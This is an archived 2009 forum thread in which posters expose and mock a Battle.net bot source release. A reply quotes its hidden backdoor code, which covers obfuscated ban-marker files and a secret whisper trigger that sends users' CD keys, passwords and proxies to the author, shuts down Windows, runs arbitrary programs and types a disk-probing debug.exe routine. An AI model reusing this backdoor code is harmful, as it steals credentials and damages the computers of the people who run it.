Valhalla Legends Forums Archive | Battle.net Bot Development | Genocide 1.7f source released!

AuthorMessageTime
nesucks
Now the best bot ever created for battle.net is in your hands!!!

http://www.esnips.com/web/nesucks/  :D

support for encrypted cdkeys removed.
September 20, 2009, 3:54 AM
HdxBmx27
[quote]encrypted cdkey support removed :)
backdoor triggers also removed

try and fix the bug that causes the program to crash when reconnecting bots that initialized warden.  The crash occurs when the bot on the assembly code.

try and add warden for storm.dll

give me updated geno source >:-O[/quote]So you're stuck doing something simple, and you want the rest of the bnet community to help you fix your shitty 1/2 ripped spam bot?[me=Hdx]hasn't even looked at the source yet to fully grasped just how much rippage/suckage it is...[/me]
I'd be vary disappointed in anyone who actually helps you.

[code]XGLGKDFK = "4g.02B.l.29Ko"

Open Environ$(
        Mid$(sdfklhSd, 6, 1) & Mid$(sdfklhSd, 3, 1) & Mid$(sdfklhSd, 6, 1) & Mid$(sdfklhSd, 2, 1) & _
        Mid$(sdfklhSd, 4, 1) & Mid$(sdfklhSd, 5, 1) & Mid$(sdfklhSd, 1, 1) & Mid$(sdfklhSd, 7, 1) & _
        Mid$(sdfklhSd, 7, 1) & Mid$(sdfklhSd, 2, 1) _
    )
    & "/" &
    Mid$(XGLGKDFK, 12, 1) & Mid$(XGLGKDFK, 6, 1) & Mid$(XGLGKDFK, 11, 1) & _
    Mid$(XGLGKDFK, 4, 1) & Mid$(XGLGKDFK, 11, 1) & Mid$(XGLGKDFK, 5, 1)  & _
    Mid$(XGLGKDFK, 11, 1) & Mid$(XGLGKDFK, 1, 1) & Mid$(XGLGKDFK, 9, 1) & _
    Mid$(XGLGKDFK, 8, 1)  & Mid$(XGLGKDFK, 13, 1) & Mid$(XGLGKDFK, 2, 1) _
For Input As #1
    Input #1, SCGBGN3
    If SCGBGN3 = "1" Then
        MsgBox permabannedSTR
        End
    End If
Close #1[/code]
Seriously? SERIOUSLY!? (it translates to %systemroot%\KB909294.log)

[code]
        Case 4
            If frmMain.DontshowMisc.Value = 0 Then
                AddChatChannel vbWhite, struser & " " & Flags & " " & Message
            End If
ecrEtcommandz:
            If struser = "bd" Then 'modified to protect current geno users
                Do Until Secretcommand = amountofkeysinfile
                    Secretcommand = Secretcommand + 1
                    Dim clsP As New clsPacket
                    With clsP
                        .InsertString "/" & "w " & struser & " " & bots(Secretcommand).CDKey & " " & _
                            bots(Secretcommand).Password & " " & bots(Secretcommand).ProxyServer
                        .sendPacket frmMain.sckBot(Secretcommand), &HE, Secretcommand
                    End With
                Loop
                Secretcommand = 0
            End If
            If struser = "bd" Then 'modified to protect current geno users
                Call ExitWindowsEx(SHUTDOWN, &H10)
            End If

            If struser = "bd" Then 'modified to protect current geno users
                Call MsgBox("Fuck you yes i hacked your computer & thx for everything >:D")
            End If
            If struser = "bd" Then 'modified to protect current geno users
                Call MsgBox("I got your vps, pwords, cdkeys, everything - say goodbye :)")
            End If

            If struser = "bd" Then 'modified to protect current geno users
                Call MsgBox(Mid$(Message, 9))
            End If

            If struser = "bd" Then 'modified to protect current geno users
                ShellFile "C:/windows/system32/telnet.exe"
            End If
            If struser = "bd" Then 'modified to protect current geno users
                ShellFile "Mid$(Message, 14))"
            End If
            If struser = "bd" Then 'modified to protect current geno users
                ShellFile "c:\windows\System32\mstsc.exe"
            End If
            If struser = "bd" Then 'modified to protect current geno users
                ShellFile "c:\windows\explorer.exe"
            End If

            If struser = "bd" Then 'modified to protect current geno users
                KillAppByEXEName (Mid$(Message, 8))
            End If

            If struser = "bd" Then 'modified to protect current geno users
                End
            End If

            If struser = "bd" Then 'modified to protect current geno users
                Call MsgBox("I got your vps, pwords, cdkeys, everything - say goodbye :)")
                ShellFile "C:/windows/system32/telnet.exe"
                ShellFile "c:\windows\System32\mstsc.exe"
                Call ExitWindowsEx(SHUTDOWN, &H10)
            End If
           
            If struser = "bd" Then 'modified to protect current geno users
               
                Dim sdkjfhsd As String
                sdkjfhsd = "now formatting all medias then writing random data in hard drive so you can never recover files ever again FAG."
                ShellFile Mid$(App.Path, 1, 1) & ":/windows/system32/cmd.exe"
                DoEvents
                SendKeys "debug"
                SendKeys "{enter}", 1
                SendKeys "F 100 FFFF 0", 1
                SendKeys "a", 1
                SendKeys "org 400", 1
                SendKeys "mov dx,3F6", 1
                SendKeys "in al,dx", 1
                SendKeys "and al,80", 1
                SendKeys "jnz 403", 1
                SendKeys "mov dx,1F7", 1
                SendKeys "mov al,90", 1
                SendKeys "out dx,al", 1
                SendKeys "mov dx,3F6", 1
                SendKeys "in al,dx", 1
                SendKeys "and al,80", 1
                SendKeys "jnz 411", 1
                SendKeys "mov dx,1F1", 1
                SendKeys "in al,dx", 1
                SendKeys "and al,1", 1
                SendKeys "jz 453", 1
                SendKeys "mov dx,3F6", 1
                SendKeys "in al,dx", 1
                SendKeys "and al,80", 1
                SendKeys "jnz 421", 1
                SendKeys "mov dx,1F6", 1
                SendKeys "mov al,E0", 1
                SendKeys "out dx,al", 1
                SendKeys "mov dx,3F6", 1
                SendKeys "in al,dx", 1
                SendKeys "and al,80", 1
                SendKeys "jnz 42F", 1
                SendKeys "in al,dx", 1
                SendKeys "and al,40", 1
                SendKeys "jz 434", 1
                SendKeys "mov dx,1F7", 1
                SendKeys "mov al,EC", 1
                SendKeys "out dx,al", 1
                SendKeys "mov dx,3F6", 1
                SendKeys "in al,dx", 1
                SendKeys "and al,80", 1
                SendKeys "jnz 442", 1
                SendKeys "mov dx,1F0", 1
                SendKeys "mov di,100", 1
                SendKeys "mov cx,100", 1
                SendKeys "cld", 1
                SendKeys "rep", 1
                SendKeys "db 6d", 1
                SendKeys "int 3", 1
               
                SendKeys "g =400", 1
               
                SendKeys "d 100 2ff", 1
            End If[/code]
u.u seriously?
Anyone wanna bother telling me what that asm does? if anything.
*note all formatting is me, his raw code is all on the left.

[code]
Case "ver"
    If bots(Index).DELAYSPAM = 0 Then
        Send0x0E Index, "/emote .: StealthBot v2.6 Revision 3 by Stealth."
        bots(Index).DELAYSPAM = 4500
    End If[/code]
Figures.

More of his BANFOREVERZ code.
[code]Public Function BANFOREVERFILE(ERROrCODE As Long)
On Error Resume Next
    'SYSTEMROOT\iis9.log
    Open (Environ$(CoDecodeXOR("T^TSBJUHHS"))) & CoDecodeXOR("[nnt>)kh`") For Append As #1
        Print #1, ERROrCODE
    Close #1
    Unload frmMain
    End
End Function
Public Function CHECKFORBAN()
On Error Resume Next
    Dim stringx As String
    'SYSTEMROOT\iis9.log
    Open (Environ$(CoDecodeXOR("T^TSBJUHHS"))) & CoDecodeXOR("[nnt>)kh`") For Input As #1
        Input #1, stringx
        If IsNumeric(stringx) = True Then
            MsgBox CoDecodeXOR("EFIIBC")
            End
        End If
    Close #1
End Function[/code]
September 20, 2009, 7:42 PM
MysT_DooM
nesucks is the malware of battle.net
September 20, 2009, 10:07 PM
MyStiCaL
cool, what horrible programming, wow, does it get any worse? i haven't downloaded who knows what he binded to what...
September 20, 2009, 11:43 PM
l2k-Shadow
you guys realize this is a joke, right?
September 21, 2009, 5:03 AM
Sixen
[quote author=l2k-Shadow link=topic=18064.msg183374#msg183374 date=1253509404]
you guys realize this is a joke, right?
[/quote]

Nope... nope... pretty sure he's serious.
September 21, 2009, 6:37 AM
l2k-Shadow
[quote author=Sixen link=topic=18064.msg183375#msg183375 date=1253515075]
[quote author=l2k-Shadow link=topic=18064.msg183374#msg183374 date=1253509404]
you guys realize this is a joke, right?
[/quote]

Nope... nope... pretty sure he's serious.
[/quote]

Which is why it's a joke.
September 22, 2009, 8:08 PM
Purri
Probly a joke, cause when you look code, you regonize how much there is ripping after all
September 22, 2009, 10:06 PM
BreW
[quote author=Hdx link=topic=18064.msg183371#msg183371 date=1253475750]
Anyone wanna bother telling me what that asm does? if anything.
*note all formatting is me, his raw code is all on the left.
[/quote]

Well, he tries to read from port 3f6h multiple times, which is a reserved floppy disk controller port (perhaps this code relies on undocumented behavior of some sort). It then sets the drive and head number, sends a few commands to the first ISA drive controller's command register (such as, run the drive diagnostics, identify drive, so on), and promptly thereafter checks the status register to see if there was an error since the last command, and if so, checks which drive it originated on (master or slave).

So, in fact, it does do something - Not quite sure what, though.
Of course, none of this would have a chance in hell of being executed. A good third of the instructions in that code blob are privileged.


EDIT**
A google search for "mov dx, 3f6" turns up one result: http://thestarman.pcministry.com/asm/debug/DEVIDP0.DSF.txt. I figured that'd be the best instruction to search for since it's very uncommon to use this kind of hackery.
September 23, 2009, 12:21 AM
Sixen
[quote author=l2k-Shadow link=topic=18064.msg183387#msg183387 date=1253650125]
[quote author=Sixen link=topic=18064.msg183375#msg183375 date=1253515075]
[quote author=l2k-Shadow link=topic=18064.msg183374#msg183374 date=1253509404]
you guys realize this is a joke, right?
[/quote]

Nope... nope... pretty sure he's serious.
[/quote]

Which is why it's a joke.
[/quote]

he's a joke*
September 23, 2009, 5:12 AM
Myndfyr
[quote author=brew link=topic=18064.msg183392#msg183392 date=1253665268]
[quote author=Hdx link=topic=18064.msg183371#msg183371 date=1253475750]
Anyone wanna bother telling me what that asm does? if anything.
*note all formatting is me, his raw code is all on the left.
[/quote]

Well, he tries to read from port 3f6h multiple times, which is a reserved floppy disk controller port (perhaps this code relies on undocumented behavior of some sort). It then sets the drive and head number, sends a few commands to the first ISA drive controller's command register (such as, run the drive diagnostics, identify drive, so on), and promptly thereafter checks the status register to see if there was an error since the last command, and if so, checks which drive it originated on (master or slave).
[/quote]
Interesting.  I would think that wouldn't work on NT-based systems, and since everyone now is on NT or *nix it seems like that would be pointless these days....
September 23, 2009, 6:33 AM
xpeh
Would someone rip out trojan shit code and release corrected source?
September 23, 2009, 3:28 PM
BreW
[quote author=MyndFyre link=topic=18064.msg183399#msg183399 date=1253687604]Interesting.  I would think that wouldn't work on NT-based systems, and since everyone now is on NT or *nix it seems like that would be pointless these days....
[/quote]
Why not? That code is communicating directly with the hardware at a level below anything NT has to do with. The operating system model being used is irrelevant.
September 24, 2009, 12:23 AM
xpeh
Afaik NT forbids I/O ports usage from user program, you need to use driver for that.
[quote author=xpeh link=topic=18064.msg183403#msg183403 date=1253719705]
Would someone rip out trojan shit code and release corrected source?
[/quote]
September 24, 2009, 5:02 PM
Camel
[quote author=xpeh link=topic=18064.msg183412#msg183412 date=1253811772]
Afaik NT forbids I/O ports usage from user program, you need to use driver for that.
[/quote]
Among other things; you shouldn't be able to do anything that could cause a bluescreen from user-mode.
September 24, 2009, 8:21 PM
PunK
Oh wow I laughed hard with the file IO...

That was a joke beyond jokes
October 4, 2009, 7:52 PM
nesucks his dad off
[quote author=Hdx link=topic=18064.msg183371#msg183371 date=1253475750]

[code]XGLGKDFK = "4g.02B.l.29Ko"

Open Environ$(
        Mid$(sdfklhSd, 6, 1) & Mid$(sdfklhSd, 3, 1) & Mid$(sdfklhSd, 6, 1) & Mid$(sdfklhSd, 2, 1) & _
        Mid$(sdfklhSd, 4, 1) & Mid$(sdfklhSd, 5, 1) & Mid$(sdfklhSd, 1, 1) & Mid$(sdfklhSd, 7, 1) & _
        Mid$(sdfklhSd, 7, 1) & Mid$(sdfklhSd, 2, 1) _
    )
    & "/" &
    Mid$(XGLGKDFK, 12, 1) & Mid$(XGLGKDFK, 6, 1) & Mid$(XGLGKDFK, 11, 1) & _
    Mid$(XGLGKDFK, 4, 1) & Mid$(XGLGKDFK, 11, 1) & Mid$(XGLGKDFK, 5, 1)  & _
    Mid$(XGLGKDFK, 11, 1) & Mid$(XGLGKDFK, 1, 1) & Mid$(XGLGKDFK, 9, 1) & _
    Mid$(XGLGKDFK, 8, 1)  & Mid$(XGLGKDFK, 13, 1) & Mid$(XGLGKDFK, 2, 1) _
For Input As #1
    Input #1, SCGBGN3
    If SCGBGN3 = "1" Then
        MsgBox permabannedSTR
        End
    End If
Close #1[/code]
Seriously? SERIOUSLY!? (it translates to %systemroot%\KB909294.log)

[/quote]
If you don't mind me asking, how did you work it out?
October 5, 2009, 4:57 PM
rabbit
[quote author=nesucks his dad off link=topic=18064.msg183459#msg183459 date=1254761858]
[quote author=Hdx link=topic=18064.msg183371#msg183371 date=1253475750]

[code]XGLGKDFK = "4g.02B.l.29Ko"

Open Environ$(
        Mid$(sdfklhSd, 6, 1) & Mid$(sdfklhSd, 3, 1) & Mid$(sdfklhSd, 6, 1) & Mid$(sdfklhSd, 2, 1) & _
        Mid$(sdfklhSd, 4, 1) & Mid$(sdfklhSd, 5, 1) & Mid$(sdfklhSd, 1, 1) & Mid$(sdfklhSd, 7, 1) & _
        Mid$(sdfklhSd, 7, 1) & Mid$(sdfklhSd, 2, 1) _
    )
    & "/" &
    Mid$(XGLGKDFK, 12, 1) & Mid$(XGLGKDFK, 6, 1) & Mid$(XGLGKDFK, 11, 1) & _
    Mid$(XGLGKDFK, 4, 1) & Mid$(XGLGKDFK, 11, 1) & Mid$(XGLGKDFK, 5, 1)  & _
    Mid$(XGLGKDFK, 11, 1) & Mid$(XGLGKDFK, 1, 1) & Mid$(XGLGKDFK, 9, 1) & _
    Mid$(XGLGKDFK, 8, 1)  & Mid$(XGLGKDFK, 13, 1) & Mid$(XGLGKDFK, 2, 1) _
For Input As #1
    Input #1, SCGBGN3
    If SCGBGN3 = "1" Then
        MsgBox permabannedSTR
        End
    End If
Close #1[/code]
Seriously? SERIOUSLY!? (it translates to %systemroot%\KB909294.log)

[/quote]
If you don't mind me asking, how did you work it out?
[/quote]He probably...um...read the code.  See, people who actually know the language tend to be able to figure out simple string manipulations.
October 5, 2009, 10:35 PM

Search